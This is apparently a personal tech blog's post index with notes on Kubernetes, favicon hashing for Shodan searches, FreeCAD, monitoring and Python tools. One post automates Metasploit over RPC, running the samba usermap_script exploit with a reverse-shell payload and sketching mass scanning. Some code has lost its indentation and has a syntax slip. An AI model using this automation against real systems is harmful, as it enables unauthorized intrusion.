2024-07-21
Mastering Kubernetes Python Library: Installation, Configuration, And Pods Listing Examples

k8s python api library

install the official library with pip install kubernetes


the default api config path for k8s is at ~/.kube/config

k3s is at /etc/rancher/k3s/k3s.yaml

microk8s is at /var/snap/microk8s/current/credentials/kubelet.config

you can also set KUBECONFIG environment variable to let kubernetes python library know where the config is


to use it:

https://github.com/kubernetes-client/python/blob/master/kubernetes/README.md

1
2
3
4
5
6
7
8
9
10
from kubernetes import client, config
# Configs can be set in Configuration class directly or using helper utility
config_path = ...
config.load_kube_config(config_path)
v1 = client.CoreV1Api()
print("Listing pods with their IPs:")
ret = v1.list_pod_for_all_namespaces(watch=False)
for i in ret.items:
print("%s\t%s\t%s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

Read More

2024-05-13
Favicon Hashes Creation And Usage

To create favicon hash, run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import mmh3
import codecs
def perform_get_request_with_insecure_and_redirects(url: str):
response = requests.get(url, verify=False, allow_redirects=True, timeout=15)
return response
def get_favicon_url(url: str):
return f"{url}/favicon.ico"
def process_url_and_get_favicon_hash(url: str):
favicon_url = get_favicon_url(url)
response perform_get_request_with_insecure_and_redirects(favicon_url)
favicon = codecs.encode(response.content, "base64")
_hash = mmh3.hash(favicon)
_hash = str(_hash)
return _hash
if __name__ == "__main__":
url = "https://www.baidu.com"
icon_hash = process_url_and_get_favicon_hash(url)
print(f"icon hash for url '{url}':", icon_hash)

You can use favicon hash in Shodan like: http.favicon.hash:<favicon_hash>

In ZoomEye like: iconhash:"<favicon_hash>"

Read More

2024-05-13
Freecad Python Scripting

Reference:

https://wiki.freecad.org/FreeCAD_Scripting_Basics

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import Part
doc = FreeCAD.ActiveDocument
# list all objects
all_objects = doc.Objects
# list all names
all_object_names = [it.Name for it in all_objects]
# get object by name
obj = doc.getObject("myObjectName")
# get vertex point
vertex_point = obj.Shape.Vertexes[0].Point
# create new line
new_line = Part.makeLine((-200, -200, 0), (200, 200, 0))
# insert the line
Part.show(new_line)
# recompute the document
doc.recompute()

Draw squares within specific bounds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
margin = 15
# Define the dimensions of the square area
x_min = -210.134 + margin
x_max = -84.134 - margin
y_min = -140.0997 + margin
y_max = -14.0997 - margin
z = 0
# Define the number of squares in each row and column
num_squares = 10
# Calculate the side length of each square
x_length = (x_max - x_min) / num_squares
y_length = (y_max - y_min) / num_squares
margin_portion = 0.17
hole_portion = 1 - 2 * margin_portion
# Create the squares
for i in range(num_squares):
for j in range(num_squares):
x_start = x_min + i * x_length + x_length * margin_portion
y_start = y_min + j * y_length + y_length * margin_portion
square_points = [
(x_start, y_start, z),
(x_start + x_length * hole_portion, y_start, z),
(x_start + x_length * hole_portion, y_start + y_length * hole_portion, z),
(x_start, y_start + y_length * hole_portion, z),
(x_start, y_start, z), # to make it closed
]
square = Part.makePolygon(square_points)
Part.show(square)

Draw circles with specific bounds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
margin = 15
# Define the dimensions of the square area
x_min = -210.134 + margin
x_max = -84.134 - margin
y_min = -140.0997 + margin
y_max = -14.0997 - margin
z = 0
# Define the number of circles in each row and column
num_circles = 10
# Calculate the side length of each circle
x_length = (x_max - x_min) / num_circles
y_length = (y_max - y_min) / num_circles
margin_portion = 0.17
radius_portion = 0.5 - margin_portion
radius = x_length * radius_portion
direction = App.Vector(0, 0, 1)
# Create the squares
for i in range(num_circles):
for j in range(num_circles):
x_center = x_min + i * x_length + x_length * 0.5
y_center = y_min + j * y_length + y_length * 0.5
circle = Part.makeCircle(radius, App.Vector(x_center, y_center, 0), direction)
Part.show(circle)

Read More

2024-03-31
Metasploit Scripting And More

you typically need to do this before importing useful metasploit ruby libraries:

1
2
3
4
5
$LOAD_PATH.push('./lib')
require 'rex'
require 'msf'
require 'msfenv'

the way metasploit loads resource script:

1
2
3
4
5
6
7
8
9
# file: lib/msf/base/sessions/command_shell.rb
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
load_resource(full_path) # usually *.rc files
end
end

the Shell.new:

1
2
3
4
5
6
7
8
9
10
11
12
13
# lib/rex/shell/base.rb
def run(args=[])
self.args = args = args.flatten
begin
eval(::File.read(self.path, ::File.size(self.path)), binding )
rescue ::Interrupt
rescue ::Rex::Script::Completed
rescue ::Exception => e
self.error = e
raise e
end
end

the load_resource:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# file: lib/rex/ui/text/resource.rb
# -*- coding: binary -*-
require 'erb'
module Rex
module Ui
module Text
module Resource
# Processes a resource script file for the console.
#
# @param path [String] Path to a resource file to run
# @return [void]
def load_resource(path)
if path == '-'
resource_file = $stdin.read
path = 'stdin'
elsif ::File.exist?(path)
resource_file = ::File.read(path)
else
print_error("Cannot find resource script: #{path}")
return
end
# Process ERB directives first
print_status "Processing #{path} for ERB directives."
erb = ERB.new(resource_file)
processed_resource = erb.result(binding)
lines = processed_resource.each_line.to_a
bindings = {}
while lines.length > 0
line = lines.shift
break if not line
line.strip!
next if line.length == 0
next if line =~ /^#/
# Pretty soon, this is going to need an XML parser :)
# TODO: case matters for the tag and for binding names
if line =~ /<ruby/
if line =~ /\s+binding=(?:'(\w+)'|"(\w+)")(>|\s+)/
bin = ($~[1] || $~[2])
bindings[bin] = binding unless bindings.has_key? bin
bin = bindings[bin]
else
bin = binding
end
buff = ''
while lines.length > 0
line = lines.shift
break if not line
break if line =~ /<\/ruby>/
buff << line
end
if ! buff.empty?
print_status("resource (#{path})> Ruby Code (#{buff.length} bytes)")
begin
eval(buff, bin)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}")
end
end
else
print_line("resource (#{path})> #{line}")
run_single(line)
end
end
end
end
end
end
end


vulnerability scanners:

https://dradis.com/ce/

nessus

nexpose

openvas


metasploit-framework is a ruby gem.


https://www.infosecmatter.com/metasploit-module-library/

https://rubyfu.net/module-0x5-or-exploitation-kung-fu/metasploit/auxiliary-module


mad-metasploit custom metasploit scripts


metasploit unleashed

official metasploit documentation


metasploit has enabled ssl by default. http will not work.

install package:

1
2
pip3 install pymetasploit3

launch metasploit background rpc service:

1
2
3
4
5
6
7
# get help
msfrpcd -h
# start background service
msfrpcd -P lazero
# or if you want foreground service
msfrpcd -P lazero -f

run script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pymetasploit3.msfrpc import MsfRpcClient
import os
PWD = "lazero"
custom_module_path = "custom_msf_module"
assert os.path.exists(custom_module_path), (
"Custom module path not found at: '%s'" % custom_module_path
)
# write custom python modules with:
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
client = MsfRpcClient(
password=PWD, ssl=True
) # requires ssl by default. otherwise won't work
# the module structure must be identical to the one at , otherwise it will not load.
client.core.addmodulepath(os.path.abspath(custom_module_path))
exploit_id = "multi/samba/usermap_script"
exp_mod = client.modules.use("exploit", exploit_id)
RHOST = "172.16.194.172"
LHOST = "172.16.194.163"
exp_mod.runoptions["RHOST"] = RHOST # this host is not running.
exp_mod.runoptions["PAYLOAD"] = "cmd/unix/reverse"
exp_mod.runoptions["LHOST"] = LHOST
msf_console = (
client.consoles.console()
) # you can manually read/write instead of using below method.
# timeout: 301 seconds.
exploit_run_output = msf_console.run_module_with_output(exp_mod) # str
print(exploit_run_output) # now have output. but still it is not streaming.
# you may want to overwrite the original implementation. the data is actually produced step by step.
run_output_file = "samba_usermap_script_output.log"
with open(run_output_file, "w+") as f:
f.write(exploit_run_output)
print("[metasploit]", "output file saved at:", run_output_file)
# thank you very much.


To do mass scanning, first we need to obtain the default RPORT for each exploit.

1
2
3
4
5
6
7
8
module_types = ['exploits','auxiliary', "encoders", "nops", "payloads", 'post']
for mt_plural in module_types:
module_type = mt_plural.rstrip('s')
for name in all_module_names:
mod = client.modules.use(module_type, name)
# get default RPORT
default_rport = mod.runoptions.get("RPORT", None)

Read More

2024-01-14
System Lagging Alert, Temperature Alert In Arbitrary Device

The system sometimes feels lagging, less responsive. The only way to fix is to reboot.

Although monitor task completion time is helpful, but not general enough.

Simple hack:

1
2
3
4
5
6
7
8
9
10
11
import subprocess
def measure_system_responsiveness():
start_time = time.time()
subprocess.run(
["echo", "hello"], capture_output=True, encoding='utf-8', check=True
)
end_time = time.time()
exec_time = end_time - start_time
exec_per_second = 1 / exec_time
return exec_per_second

Lagging related package:

1
2
apt install nohang oomd psi-notify


Temperature monitoring packages:

1
2
3
4
pip3 install gpustat
pip3 install pyspectator
apt install lm-sensor # sensors -j

Create temperature statistics (high, low, mean) for all crucial components.

Set alert threshold, only trigger alert if temperature reoccurs for several times.

Send ntfy.sh notification as well as making audible alerts.

Notification shall specify device name, component name, current temperature, threshold, statistics.

Every device shall be equipped with this software as daemon, be it smartphone, MacBook, Linux PC, Windows PC.

Read More

2024-01-03
Safe Eval In Jinja

1
2
3
4
5
6
7
8
9
10
11
12
from jinja2 import Environment
from jinja2 import StrictUndefined
from jinja2.nativetypes import NativeEnvironment
def simple_eval(expr: str, globals_dict: dict = None):
globals_dict = globals_dict or {}
env = Environment(variable_start_string='${', variable_end_string='}', undefined=StrictUndefined)
template = env.from_string(expr).render(**dict(zip(globals_dict.keys(), globals_dict.keys())))
native_env = NativeEnvironment(undefined=StrictUndefined)
return native_env.from_string('{{' + template + '}}').render(**globals_dict)
if __name__ == '__main__':
print(simple_eval('${a}+1', {'a': 1}) == 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class NeverUndefined(jinja2.StrictUndefined):
def __init__(self, *args, **kwargs):
# ARGS: ("parameter 'myvar2' was not provided",)
# KWARGS: {'name': 'myvar2'}
if len(args) == 1:
info = args[0]
elif "name" in kwargs.keys():
info = f"Undefined variable '{kwargs['name']}"
else:
infoList = ["Not allowing any undefined variable."]
infoList.append(f"ARGS: {args}")
infoList.append(f"KWARGS: {kwargs}")
info = "\n".join(infoList)
raise Exception(info)

Read More

2023-12-18
Exception Phobia In Python

1
2
pylint --enable=unspecified-exception your_python_file.py

However it is recommend to build microservices and log failures

Read More

2023-07-14
Python Dsl

textX with syntax highlighter and LSP support, just like Xtext

ply: python lex-yacc

dhparser

lark

Read More

2023-04-04
Faster Python

latest python has better performance.

pypy is fast.

codon is using python syntax to compile python into static executable.

Read More

2023-02-08
Python Diagram/Flowchart Generator And Markdown To Word Converter

pyflowchart

diagrams needs graphviz installed (on debian it is apt install graphviz). doc

pydiagrams

Read More